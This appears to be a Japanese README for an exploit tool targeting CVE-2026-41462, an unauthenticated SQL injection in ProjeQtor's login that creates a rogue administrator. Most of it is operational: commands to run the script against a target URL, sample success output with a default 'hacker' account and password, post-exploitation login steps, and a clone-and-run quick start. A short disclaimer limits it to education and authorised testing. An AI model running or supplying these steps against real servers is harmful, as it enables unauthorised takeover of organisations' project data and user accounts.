🚨 CVE-2026-41462 - ProjeQtor 未認証SQLインジェクション

---

ProjeQtor ≤ 12.4.3 における重大な未認証SQLインジェクション

📌 概要

CVE-2026-41462 は、ProjeQtor プロジェクト管理ツールのログイン機能における重大な未認証SQLインジェクションの脆弱性です。

• CVE ID：CVE-2026-41462
• 影響を受けるバージョン：ProjeQtor 7.0 から 12.4.3
• パッチ適用バージョン：12.4.4
• 深刻度：緊急 (CVSS 9.8)
• 種別：未認証スタック型SQLインジェクション

🛠️ エクスプロイト

使用方法

python3 CVE-2026-41462.py -u http://target.com --create-admin

# With custom credentials
python3 CVE-2026-41462.py -u http://target.com --create-admin \
  --username admin123 --password StrongPass2026!

📊 成功した場合に表示される内容

エクスプロイトが成功すると、以下のような出力が表示されます：

[+] Targeting: http://target.com
[+] Sending payload to create admin user 'hacker' ...
[+] Request sent successfully.
[+] New admin created → Username: hacker | Password: Admin123!
[+] Try logging in at: http://target.com/login.php

エクスプロイト実行後：

1. ブラウザを開いて、次のURLにアクセスします：
   http://target.com/login.php

2. スクリプトの出力に表示された認証情報を使用してログインします。

3. 成功すると、完全な管理者権限を持つ ProjeQtor 管理ダッシュボード にアクセスできます。

成功の指標：

• すべてのプロジェクト、ユーザー、システム設定を閲覧できる
• 制限なくプロジェクトを作成・編集・削除できる
• ユーザー管理セクションに新しいユーザーが表示される

📁 リポジトリの内容

🚀 クイックスタート

1. リポジトリをクローンします：

   root@kitploit:~

   git clone https://github.com/0xBlackash/CVE-2026-41462.git
   cd CVE-2026-41462
   

2. エクスプロイトを実行します：

   root@kitploit:~

   python3 CVE-2026-41462.py -u http://target.com --create-admin
   

3. 新しく作成された管理者アカウントでログインします。

⚠️ 免責事項

このツールは教育目的および許可を得たペネトレーションテスト専用です。無断使用は違法です。

📄 参考情報

• NVD - CVE-2026-41462
• 公式 ProjeQtor パッチ (v12.4.4+)